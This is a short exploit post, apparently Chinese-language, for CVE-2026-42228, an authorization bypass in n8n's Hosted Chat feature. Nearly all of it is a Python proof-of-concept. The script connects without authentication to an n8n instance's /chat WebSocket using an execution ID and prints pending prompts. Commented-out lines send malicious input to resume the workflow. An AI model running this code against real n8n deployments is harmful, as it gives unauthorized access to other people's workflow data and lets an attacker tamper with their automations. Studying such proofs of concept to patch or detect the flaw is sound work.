CVE-2026-42228 n8n Hosted Chat权限绕过漏洞

import asyncio import websockets async def exploit_n8n(target_url, execution_id): """ PoC for CVE-2026-42228: Connect to unauthorized WebSocket endpoint. """ # Construct the WebSocket URL using the target and execution ID ws_url = f"{target_url.replace('http', 'ws')}/chat?executionId={execution_id}" print(f"[*] Attempting to connect to: {ws_url}") try: async with websockets.connect(ws_url) as websocket: print("[+] Connection established. Waiting for messages...") # Listen for incoming messages (the pending prompt) while True: message = await websocket.recv() print(f"[DEBUG] Received: {message}") # Optionally send malicious input to resume workflow # payload = "{\"input\": \"malicious_data\"}" # await websocket.send(payload) # print(f"[DEBUG] Sent: {payload}") except Exception as e: print(f"[-] Error: {e}") # Usage # asyncio.run(exploit_n8n("http://target-n8n-instance.com", "VALID_EXECUTION_ID"))